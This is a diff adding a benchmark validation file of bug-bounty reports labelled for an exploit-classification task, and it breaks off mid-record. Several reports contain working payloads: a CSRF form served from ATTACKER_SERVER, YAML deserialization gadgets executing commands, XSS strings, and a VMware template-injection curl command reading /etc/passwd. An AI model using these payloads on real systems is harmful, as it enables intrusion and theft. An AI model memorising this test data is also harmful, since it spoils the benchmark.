diff --git "a/benchmark/task1_exploit_clf/val.jsonl" "b/benchmark/task1_exploit_clf/val.jsonl"
new file mode 100644--- /dev/null
+++ "b/benchmark/task1_exploit_clf/val.jsonl"
@@ -0,0 +1,440 @@
+{"id": "0841b7138c3094ea667a", "text": "[Information Disclosure] Able to detect if a user is FetLife supporter although this user hides their support badge in fetlife.com/conversations/{id} JSON response\n\nUserA is a FetLife supporter, he also hides his support badge in his account privacy setting so that people don't know he is a supporter. However, UserB can start a conversation with userA, and by looking at `is_supporter` field in JSON response of their conversation . UserB knows that UserA is a FetLife supporter.\n\nUserB get the following information of userA by requesting `fetlife.com/conversations/{userA-userB-conversation-id}`\n```\n\"with_users\":\n[\n    {\n        \"id\": {id},\n        \"nickname\": \"userA\",\n        \"is_supporter\": true,\n        \"show_badge\": false,\n        \"identity\": \"30F Switch\",\n        \"url\": \"/users/{id}\",\n        \"avatar_url\": \"{avatar_url}\",\n        \"role\": \"member\",\n        \"starts_at\": 0,\n        \"location\": \"Antarctica\"\n    }\n]\n```\n\nFull request and response: F1541333\n\n## Attack condition\nFor this attack to succeed, attacker needs to start a conversation with victim regardless of victim accepting conversation request or not. Therefore, this attack works with users who set their Inbox privacy settings to `Open`, `Kinky`,`Hardcore`\n\n## Step to Reproduce\n1. Prepare 2 accounts, userA and userB. UserA is a FetLife supporter.\n2. UserB goes to userA profile and start a conversation with userA from there\n3. UserB goes to `https://fetlife.com/inbox`\n4. UserB open browser Developer tool and open conversation he just started.\n5. UserB looks at Network tab and find the request `fetlife.com/conversations/{userA-userB-conversation-id}` with JSON response\n6. UserB sees `is_supporter` field to check if userA is a supporter or not.\n\n## Impact\n\nAttacker can detect if a user is a FetLife supporter or not. This attack works on all users, except user with `strict` inbox privacy settings.", "source": "hackerone", "timestamp": "2022-02-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d5e8fcc4ee211d9b7d70", "text": "[Cross-Site Request Forgery (CSRF)] Widespread CSRF on authenticated POST endpoints\n\n## Summary:\n\nCross-Site Request Forgery (CSRF) is possible on most, if not all, authenticated POST endpoints.\n\nWhile CORS is configured such that the Access-Control-Allow-Origin header is set to `Access-Control-Allow-Origin: hackers.upchieve.org`, CORS does **not** prevent CSRF - it only prevents the attacker from reading the response. This does not stop the attacker from performing any arbitrary actions on behalf of the user.\n\nThis is possible through a simple HTML form with hidden inputs, submitted with JavaScript. While POST requests are made using JSON data by default, `application/x-www-form-urlencoded` is accepted as well. Because the user's session cookie does not have the SameSite attribute set, it is sent along with the request.\n\nThe following endpoints were found to be vulnerable:\n- `POST /api/calendar/save` (set availability for text messages)\n- `POST /api/training/score` (submit quizzes and subject certifications)\n- `POST /auth/reset/send` (send password reset email)\n- `POST /api/user/volunteer-approval/background-information` (submit background information)\n- `POST /api/user/volunteer-approval/reference` (request a reference)\n\nThe attacker can perform any of the above actions on behalf of the user, as long as the user has a valid session cookie. There are probably more endpoints to be discovered, but I do not have access to them yet due to the approval / onboarding process.\n\nPUT requests, particularly `PUT /api/user` (to update a user's phone number and account status), are not possible through this method. However, older browsers might not comply to CORS pre-flight requests and still allow a PUT request initiated by JavaScript on the attacker's site to go through.\n\n## Steps To Reproduce:\n\n1. As a victim, log in to https://hackers.upchieve.org/\n2. Create a page like the one below.\n\nThis is an example for performing a CSRF on the `/api/calendar/save` endpoint (the full HTML file is attached). In this example, we set all the possible time slots to \"true\".\n\n```html\n<html>\n  <body>\n    <form action=\"https://hackers.upchieve.org/api/calendar/save\" method=\"POST\">\n        <input type=\"hidden\" name=\"availability[Sunday][12a]\" value=\"true\" />\n        <input type=\"hidden\" name=\"availability[Sunday][1a]\" value=\"true\" />\n\t\t\n\t\t...\n\t\t\n        <input type=\"hidden\" name=\"availability[Saturday][11p]\" value=\"true\" />\n        <input type=\"hidden\" name=\"tz\" value=\"Asia/Singapore\" />\n    </form>\n    <script>\n      \tdocument.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\n3. Serve the page on the attacker server.\n4. As the victim, visit http://ATTACKER_SERVER/calendar_csrf.html\n\nOnce the HTML page loads on the browser, the POST request is submitted and we would see the following response:\n\n```json\n{\"msg\":\"Schedule saved\"}\n```\n\n5. Verify that the victim's calendar has been modified.\n\nI have also prepared other CSRF payloads for the other endpoints.\n\n- `calendar_csrf.html` performs the above-described attack.\n- `reference_csrf.html` sends out reference requests on behalf of the victim.\n- `quiz_csrf.html` submits quizzes for grading on behalf of the victim.\n- `reset_csrf` sends out password resets on behalf of the victim.\n\n## Supporting Material/References:\n\nI have attached the CSRF payloads, a screenshot of the changed calendar, and a screenshot of the output from the quiz CSRF.\n\n## Recommendations for Fixing/Mitigation\n\n- Use CSRF tokens\n- Use the SameSite attribute for cookies\n\n## Impact\n\nWhen an authenticated user visits any attacker-controlled site, the attacker is able to perform arbitrary authenticated actions on behalf of the user. While the attacker cannot obtain the request output from the CSRF, he is still able to perform sensitive actions blindly.", "source": "hackerone", "timestamp": "2022-02-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e847354cd2dc4adee27d", "text": "[Code Injection] The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML\n\n## Summary:\n\nIf the `io.kubernetes.client.util.generic.dynamic.Dynamics` is used to deserialize a `DynamicKubernetesObject `from untrusted YAML, an attacker can achieve code execution inside of the JVM.\n\nSince this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?\n\n## Component Version:\n\nKubernettes Java Client version 17.0.0\n\n## Steps To Reproduce:\n\n1. Host a server with a JAR file containing the following code: \n```java\npackage org.jlleitschuh.sandbox;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport java.io.IOException;\nimport java.util.List;\n\npublic class ScriptEngineFactoryRCE implements ScriptEngineFactory {\n    static {\n        try {\n            Runtime r = Runtime.getRuntime();\n            Process p = r.exec(\"open -a Calculator\");\n            p.waitFor();\n        } catch (IOException | InterruptedException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    @Override\n    public String getEngineName() {\n        return null;\n    }\n\n    @Override\n    public String getEngineVersion() {\n        return null;\n    }\n\n    @Override\n    public List<String> getExtensions() {\n        return null;\n    }\n\n    @Override\n    public List<String> getMimeTypes() {\n        return null;\n    }\n\n    @Override\n    public List<String> getNames() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageName() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageVersion() {\n        return null;\n    }\n\n    @Override\n    public Object getParameter(String key) {\n        return null;\n    }\n\n    @Override\n    public String getMethodCallSyntax(String obj, String m, String... args) {\n        return null;\n    }\n\n    @Override\n    public String getOutputStatement(String toDisplay) {\n        return null;\n    }\n\n    @Override\n    public String getProgram(String... statements) {\n        return null;\n    }\n\n    @Override\n    public ScriptEngine getScriptEngine() {\n        return null;\n    }\n}\n```\n\nThe jar file must contain a file `/META-INF/services/javax.script.ScriptEngineFactory` with the contents `org.jlleitschuh.sandbox.ScriptEngineFactoryRCE    # Our RCE Payload`\n\nHost this jar file from a local server's root path.\n\nThen call the `Dynamics` yaml parsing APIs with the following payload:\n\n```yaml\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/\"]]]]\n```\n\n## Fix\n\nThe SnakeYAML parser should be instantiated with the argument `new SafeConstructor()` in order to not be vulnerable to arbitrary deserialization.\n\n## Supporting Material/References:\n - https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)\n - https://nvd.nist.gov/vuln/detail/CVE-2022-1471\n - https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2\n\n## Impact\n\nIf this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution", "source": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cacf44032b3acfdee83b", "text": "[Improper Access Control - Generic] Adobe ColdFusion Access Control Bypass - CVE-2023-38205\n\n**Description:**\nHi team,\nThe subdomain https://████ is with adobe ColdFusion vulnerable with CVE-2023-38205.\nThis vulnerability is a bypass path created for CVE-2023-29298.\n\n## References\n\nhttps://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/\n\n## Impact\n\nIf an attacker accesses a URL path of /hax/..CFIDE/wizards/common/utils.cfc the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path .\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-38205\n\n## Steps to Reproduce\n1. Go to: https://█████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n2. See the remote method call wizardHash on the/CFIDE/wizards/common/utils.cfc endpoint.\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "f83412173e403051dc48", "text": "[Double Free] CVE-2022-42915: HTTP proxy double-free\n\nThis is a finding that Trail of Bits found in their ongoing curl security audit. Reported at a status meeting today.\n\n## Summary:\n\ncurl frees memory twice in some cleanup function related to HTTP proxies.\n\nIt as simple as `curl -x http://localhost:80 dict://127.0.0.1`\n\nUsing valgrind on the current git master, it shows:\n\n==55921== Memcheck, a memory error detector\n==55921== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==55921== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info\n==55921== Command: ./src/curl -x http://localhost:80 dict://127.0.0.1\n==55921== Parent PID: 3035\n==55921== \n==55921== Invalid free() / delete / delete[] / realloc()\n==55921==    at 0x484617B: free (vg_replace_malloc.c:872)\n==55921==    by 0x152464: curl_dbg_free (memdebug.c:297)\n==55921==    by 0x17E11C: Curl_free_request_state (url.c:2259)\n==55921==    by 0x179B38: Curl_close (url.c:421)\n==55921==    by 0x1482DD: curl_easy_cleanup (easy.c:799)\n==55921==    by 0x1359F4: post_per_transfer (tool_operate.c:657)\n==55921==    by 0x13D085: serial_transfers (tool_operate.c:2431)\n==55921==    by 0x13D5FC: run_all_transfers (tool_operate.c:2617)\n==55921==    by 0x13D972: operate (tool_operate.c:2729)\n==55921==    by 0x13427C: main (tool_main.c:276)\n==55921==  Address 0x5b1c790 is 0 bytes inside a block of size 984 free'd\n==55921==    at 0x484617B: free (vg_replace_malloc.c:872)\n==55921==    by 0x152464: curl_dbg_free (memdebug.c:297)\n==55921==    by 0x17AE5E: conn_free (url.c:810)\n==55921==    by 0x17B132: Curl_disconnect (url.c:893)\n==55921==    by 0x15D523: multi_runsingle (multi.c:2614)\n==55921==    by 0x15D7B6: curl_multi_perform (multi.c:2683)\n==55921==    by 0x147FFB: easy_transfer (easy.c:663)\n==55921==    by 0x14822C: easy_perform (easy.c:753)\n==55921==    by 0x148276: curl_easy_perform (easy.c:772)\n==55921==    by 0x13D064: serial_transfers (tool_operate.c:2429)\n==55921==    by 0x13D5FC: run_all_transfers (tool_operate.c:2617)\n==55921==    by 0x13D972: operate (tool_operate.c:2729)\n==55921==  Block was alloc'd at\n==55921==    at 0x48485EF: calloc (vg_replace_malloc.c:1328)\n==55921==    by 0x1521A6: curl_dbg_calloc (memdebug.c:175)\n==55921==    by 0x1BEC8F: connect_init (http_proxy.c:174)\n==55921==    by 0x1C02C2: Curl_proxyCONNECT (http_proxy.c:1061)\n==55921==    by 0x1BEA43: Curl_proxy_connect (http_proxy.c:118)\n==55921==    by 0x1B67D4: Curl_http_connect (http.c:1551)\n==55921==    by 0x15C03A: multi_runsingle (multi.c:2027)\n==55921==    by 0x15D7B6: curl_multi_perform (multi.c:2683)\n==55921==    by 0x147FFB: easy_transfer (easy.c:663)\n==55921==    by 0x14822C: easy_perform (easy.c:753)\n==55921==    by 0x148276: curl_easy_perform (easy.c:772)\n==55921==    by 0x13D064: serial_transfers (tool_operate.c:2429)\n==55921== \n==55921== \n==55921== HEAP SUMMARY:\n==55921==     in use at exit: 0 bytes in 0 blocks\n==55921==   total heap usage: 4,712 allocs, 4,713 frees, 893,816 bytes allocated\n==55921== \n==55921== All heap blocks were freed -- no leaks are possible\n==55921== \n==55921== For lists of detected and suppressed errors, rerun with: -s\n==55921== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)\n\n## Impact\n\nDouble-free is nasty", "source": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d39b78db8500498a2d4f", "text": "[Cross-site Scripting (XSS) - DOM] DOM XSS through ads\n\nMultiple ads hosted on www.urbandictionary.com make the www.urbandictionary.com origin vulnerable to DOM XSS.  Attached is an image of `alert(document.domain)` executing. The injection works in Firefox and Chrome.\n\nVisiting the following URL will **probably** cause an alert box displaying the  document.domain as www.urbandictionary.com.\n`https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'asdf`\n\nI say \"probably\" because the exploit depends on the loading of certain ads. Doing this from a fresh browser session usually causes the alert box. If not refreshing the page a few times, allowing the page to fully load, usually causes the pop-up. It all depends on which ad loads.\n\nIt appears the `pwt.js` JavaScript file uses the `displayCreative` function to display a unique ad. This apparently is done by executing `document.write` in an anonymous function to write the ad into the  the www.urbandictionary.com page. Visiting the above link will cause one of the ads to execute `document.domain` with a string that contains the following:\n\n```\n<script type='text/javascript'>\nurl='https://vap3ord1.lijit.com/res/sovrn.containertag.new.min.js…252de1&loc=https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'',\n```\nMany ads want a reference to the website that is loading them, so they inject the URL of the hosting page into the ad source. Since the vulnerable inject the containing page into a JavaScript single quote string, a single quote can be used to escape out of the string. This results in the JavaScript alert function being called.\n\nThe stack trace for the above injection follows:\n```\n    <anonymous> (index):2\n    displayCreative pwt.js:11048\n    displayCreative pwt.js:13098\n    displayCreative pwt.js:10759\n    <anonymous> define.php:1\n    apply define.php:347\n    <anonymous> (index):2\n    <anonymous> (index):2\n    Caspr (index):2\n    Caspr (index):2\n    casprInvocation (index):3\n    <anonymous> (index):8\n    <anonymous> (index):8\n```\n\nMultiple ads contain the nearly the same vulnerability. The stack trace is always the same.  The string passed to `document.domain` is different depending on the ad. I will try to include a few examples by attaching files showing the entire content being passed to `document.write`.  \n\n I obtained the strings passed to `document.domain` using the Eval Villain extension for Firefox, which I developed. This extension may assist you in finding the cause of the vulnerability, or verifying it's existence.\n\n## Impact\n\nDOM XSS allows an attacker to run arbitrary JavaScript under you origin. Since users can authenticate to this origin, an attacker could use this to perform actions in behalf of a victim using the victim session. I  have not yet authenticated to the site, so I don't know exactly what all that would entail.\n\nAn attacker could use this vulnerability to add malicious or inappropriate content to your website or takeover the ads seen there. \n\nSo far, it appears the urbandictionary.store does **not** grant the vulnerable origin any CORS privileges. This means an attacker most likely can NOT steal credit card information or modify purchases.", "source": "hackerone", "timestamp": "2022-01-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3d0d4eb362c5f1addf71", "text": "[Path Traversal] Access to arbitrary file of the Nextcloud Android app from within the Nextcloud Android app\n\n## Summary:\nThe Android client of nextcloud (com.nextcloud.client) allows arbitrary file including protected/private files to be leaked through the file upload functionality.\n\n## Steps To Reproduce:\nA report [1142918 ](https://hackerone.com/reports/1142918) has been submitted for the vulnerability of leaking arbitrary protected files. NextCloud added [a fix](https://github.com/nextcloud/android/pull/8433/commits/97d6f2954c879f3bfebcd241993147bced5fd50b) on May 18, 2021, which added a check to the class src/main/java/com/owncloud/android/files/services/FileUploader.java:\n```\n        if (file.getStoragePath().startsWith(\"/data/data/\")) {\n            Log_OC.d(TAG, \"Upload from sensitive path is not allowed\");\n            return;\n        }\n```\n\nThe fix checks whether a file to be uploaded has a path starting with \"/data/data\". However, the check is not sufficient. We can easily bypass this check using the path \"/data/user/0/\" e.g. \"/data/user/0/com.nextcloud.client/\".  A program to exploit this vulnerability can be:\n```\npublic class EvilActivity extends AppCompatActivity {\n    private static final String LOG_TAG = EvilActivity.class.getName();\n\n    final static String PRIVATE_URI = \"file:///data/user/0/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml\";\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        Log.d(\"heen\", \"EvilActivity started!\");\n        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));\n        finish();\n    }\n}\n```\n\nA working POC is as follows:\n### 1. install and login nextcloud android client e.g. through the provider https://us.cloudamo.com\n### 2. create a directory and set it 'shareable'\n### 3.install the POC app with the program above\n### 4. Navigate to the shareable directory in the step2, click '+', then choose \"upload content from other apps\"\n### 5. Select \"poc\" then protected file will be uploaded to the shared folder, which is publicly shared and leaked.\n\n## Supporting Material/References:\nA sample screenshot with protected files uploaded and their content is:\n{F1523976}\n{F1523979}\n\n  * [attachment / reference]\nSee attachments above\n\n## Impact\n\nArbitrary sensitive file of the nextcloud android client can be leaked. To address this issue, disallow any file whose path has the package name but isn't in the temp or cache folder of nextcloud. \n\nPlease investigate. Thanks.", "source": "hackerone", "timestamp": "2022-09-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a902b359c85303d88dda", "text": "[Information Disclosure] Sensitive data exposure via /secure/QueryComponent!Default.jspa endpoint on ████████\n\n**Description:**\n\nHi,\nWhile going through the testing of DoD assets, I have came across a subdomain that is vulnerable to CVE-2020-14179. Some of the internal fields that are exposed are Project, Status, Limits, Creator, Query, Created Date, Updated Date, Resolution Date, etc. \n\n## References\n\nhttps://jira.atlassian.com/browse/JRASERVER-71536\nhttps://www.cvedetails.com/cve/CVE-2020-14179\n\n## Impact\n\nIt allows unauthenticated attackers like me to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1.  Open browser\n    2. Hit endpoint */jira/secure/QueryComponent!Default.jspa* in the target\n    3. Observe the results.\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "42e2859942d6c776cd88", "text": "[SQL Injection] Ability to escape database transaction through SQL injection, leading to arbitrary code execution\n\nHackerOne has an internal backend interface that gives debugging capabilities to its engineers. One of the features is the ability to run `EXPLAIN ANALYZE` queries against a connected database. This feature is accessible by a handful of engineers. The feature is vulnerable to a SQL injection that allows an attacker to escape the transaction that is wrapped around the `EXPLAIN ANALYZE` query. This SQL injection can be leveraged to execute arbitrary ruby on an application server.\n\nThis vulnerability will be demonstrated against a local development environment.\n\n# Proof of concept\n- go to http://localhost:8080/support/sql_query_analyzer\n- analyze the following query using the `public` database connection:\n\n```sql\nSELECT\n        1\n;\n\nROLLBACK\n;\n\nINSERT\n    INTO\n        user_versions (\n            item_type\n            ,item_id\n            ,event\n            ,email\n            ,object\n        )\n    VALUES (\n        'User'\n        ,2\n        ,'update'\n        , 'uniquekeywordtotriggercode@hackerone.com'\n        ,'---\nusername:\n  - !ruby/object:Gem::Installer\n      i: x\n  - !ruby/object:Gem::SpecFetcher\n      i: y\n  - !ruby/object:Gem::Requirement\n    requirements:\n      !ruby/object:Gem::Package::TarReader\n      io: &1 !ruby/object:Net::BufferedIO\n        io: &1 !ruby/object:Gem::Package::TarReader::Entry\n            read: 0\n            header: \"abc\"\n        debug_output: &1 !ruby/object:Net::WriteAdapter\n            socket: &1 !ruby/object:Gem::RequestSet\n                sets: !ruby/object:Net::WriteAdapter\n                    socket: !ruby/module ''Kernel''\n                    method_id: :system\n                git_set: sleep 600\n            method_id: :resolve '\n    )\n;\n\n-- \n```\n- visit http://localhost:8080/support/historic_users?historic_user_input=uniquekeywordtotriggercode@hackerone.com and observe that the page will hang for 600 seconds and then result in a 500 internal server error, proving that it executes the `sleep 600` command in the injected object.\n\n# Root cause\nThe following Ruby code is used to execute the `EXPLAIN ANALYZE` query:\n\n```ruby\n# ...\nexplain_analyze = \"EXPLAIN (ANALYZE, COSTS, VERBOSE, BUFFERS, FORMAT JSON) #{raw_sql}\"\n\nbegin\n  conn.transaction(requires_new: true) do\n    block = proc do\n      analyze_result = conn.protected_attribute.with_parameters(params) do\n        conn.execute explain_analyze\n      end\n\n      fail ActiveRecord::Rollback\n    end\n\n    if config[:use_protected_schema]\n      ProtectedAttribute::SchemaUtility.with_requester(user) do\n        block.call\n      end\n    else\n      block.call\n    end\n# ...\n```\n\nThe code is written so that it would wrap each analyze query in a transaction. This avoids permanent side effects of running the query, because `EXPLAIN ANALYZE` will still execute the SQL query. The interpolation of the `raw_sql` variable can be used to escape the current transactions and make any changes persist. The following part is used to jump out of the transaction:\n\n```sql\nSELECT\n        1\n;\n\nROLLBACK\n;\n```\n\nThen, a payload is injected into a table called `user_versions` and a comment identifier (`-- `) is used to block the `ROLLBACK` statement that is appended by the `transaction` block. The `user_versions` table keeps a paper trail of changes on `User` objects. For example, when someone changes their username, the application keeps a snapshot of the previous object in the `user_versions` table. HackerOne uses a gem called [paper_trail](https://github.com/paper-trail-gem/paper_trail) for this. This gem comes with a useful function to reinstantiate an old version of an object, called `reify`. When this method is called, the YAML from the `object` attribute is deseriealized and is used to initialize the class stored in the `item_type` column. This method inherently trusts the object stored in `object` however. Because the attacker can persist a new version, it can control the object that would be deserialized. In the past, multiple YAML deserialization technique", "source": "hackerone", "timestamp": "2022-08-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6c32e5f44c27935a5912", "text": "[Use After Free] CVE-2023-28319: UAF in SSH sha256 fingerprint check\n\n## Summary:\nThe fingerprint_b64 pointer is as parameter for failure logging after it is freed.\n\n## Steps To Reproduce:\n1. git clone https://github.com/curl/curl\n2. vim curl/lib/vssh/libssh2.c\n3. search for the string 'free(fingerprint_b64)' and note that fingerprint_b64 is used as parameter immediately after it is freed.\n\n## Supporting Material/References:\nThe following are the details of the code.\n\ngit commit a51f90ec0f74176776f5d14b99689f9241660eaa (HEAD -> master, origin/master, origin/HEAD)\n\nIn curl/lib/vssh/libssh2.c\n 653 static CURLcode ssh_check_fingerprint(struct Curl_easy *data)\n 654 {\n ...\n 667     char *fingerprint_b64 = NULL;\n ...\n 729     if((pub_pos != b64_pos) ||\n 730        strncmp(fingerprint_b64, pubkey_sha256, pub_pos)) {\n 731       free(fingerprint_b64);\n 732 \n 733       failf(data,\n 734             \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\n 735             \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\nAccording to git blame, the following commits were involved:\n\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  731)       free(fingerprint_b64);\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  732) \nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  733)       failf(data,\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg         2022-04-25 11:41:20 +0200  734)             \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg         2022-04-25 11:41:20 +0200  735)             \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\n## Impact\n\nDepends on which memory is the pointer fingerprint_b64 pointing to at the time failf() is called, it may either crash the application or it may print out whatever was in memory at the time leading to information leak in the fail log.", "source": "hackerone", "timestamp": "2023-05-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8b3bc765b241567eea86", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44571] Possible Denial of Service Vulnerability in Rack Content-Disposition parsing\n\nI made a report and patch at https://hackerone.com/reports/1675235\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44571-possible-denial-of-service-vulnerability-in-rack-content-disposition-parsing/82126\n\n> There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.\n> Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\n\n## Impact\n\nAny applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nSince it is a manipulation of the request body, it is possible to bypass the request header size limit and make more dangerous attacks.\n\nIt was possible to attack ReDoS on many servers without authentication, but in the case of this regular expression, if it is ruby 3.2 or higher, there is a memoization countermeasure, so it is not a threat.", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e1aab9992fecab6992bb", "text": "[Array Index Underflow] solving TOR vulnerability, in other to make bruteforce difficult\n\nactually this is result on my recent vulnerability scan on the TOR website below:\n135/tcp  filtered msrpc        no-response\n\n139/tcp  filtered netbios-ssn  no-response\n\n443/tcp  open     https        syn-ack ttl 51\n\n|_http-csrf: Couldn't find any CSRF vulnerabilities.\n\n|_http-dombased-xss: Couldn't find any DOM based XSS.\n\n| http-iis-webdav-vuln: \n\n|_  ERROR: This web server is not supported.\n\n| http-slowloris-check: \n\n|   VULNERABLE:\n\n|   Slowloris DOS attack\n\n|     State: LIKELY VULNERABLE\n\n|     IDs:  CVE:CVE-2007-6750\n\n|       Slowloris tries to keep many connections to the target web server open and hold\n\n|       them open as long as possible.  It accomplishes this by opening connections to\n\n|       the target web server and sending a partial request. By doing so, it starves\n\n|       the http server's resources causing Denial Of Service.", "source": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c86c7e4915c1eac487af", "text": "[Business Logic Errors] CVE-2022-32207: Unpreserved file permissions\n\nWhen curl saves cookies, alt-svc and hsts data to local files, it makes the operation atomic by finalizing the operation with a rename from a temporary name to the final target file name.\n\nIn that rename operation, it might accidentally widen the permissions for the target file, leaving the updated file accessible to more users than intended.\n\n## Impact\n\nInformation disclosure (cookie file in specific)", "source": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "24474d4f51e2d1a2f468", "text": "[Cross-site Scripting (XSS) - Reflected] stand.pw.mail.ru xss\n\nhttp://stand.pw.mail.ru:9100/news.php?archive=news&type=last\"><sCrIpT>alert(1)</sCrIpT>&page=1\n\npayload is:\"><sCrIpT>alert(1)</sCrIpT>\n\n## Impact\n\nCan steal Cookie, Can run javascript code, and get information sensitive", "source": "hackerone", "timestamp": "2022-03-03", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8a3952988a696665dd2d", "text": "[Improper Access Control - Generic] Federated editing allows iframing possibly malicious remotes\n\nSo this attack is less likely now that you killed the trusted server auto adding. But as far as I could tell you did not clear out old servers. Let me first describe the attack:\n\n1. UserA on ServerA sends a federated share to userB on serverB\n2. Assume serverA and serverB are trusted servers\n3. Now once the the trusted server is established when userB tries to edit the document it will do so on serverA. Hence the iframing\nhttps://github.com/nextcloud/richdocuments/blob/master/lib/AppInfo/Application.php#L239\n\n## Impact\n\nThe issue I see with this is that; not until to long ago it was trivial to establish trusted servers with federation (or from public links).\n\nThe second issue is that userB now not only has to trust serverB to be secure, properly updated etc. But also trusts implicitly serverA. ServerA could serve malicious code. That shows that the user needs to resubmit their password for example.\nThis is also not made clear on the settings to the admin that enabling trusted servers opens this possibility.\n\nNow. I admit that this is all not super likely to all happen. But iframing remote sources when clicking to edit a document (which the user will just expect to open their own collabora) poses a real risk I think.", "source": "hackerone", "timestamp": "2022-07-02", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ad58fd318adbb3092135", "text": "[Code Injection] ███ vulnerable to CVE-2022-22954\n\nI found that one of the targets belongs to DOD vulnerable to CVE-2022-22954 where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible \n\n**Technical Summary:**\n\nCVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.\n\n**Vulnerable URL:**\n\n███=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\n\n## Impact\n\nThe impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server\n\n## System Host(s)\n██████, ████\n\n## Affected Product(s) and Version(s)\nVMware workspace one\n\n## CVE Numbers\nCVE-2022-22954\n\n## Steps to Reproduce\n* Run the following curl command \n\n**Command Used:**\n\ncurl -sk -X GET -H \"Host: ██████\" \"█████████=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\"\n\n**Response:**\n\n```\n<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/html\">\n    <head>\n        <title>Error Page</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, 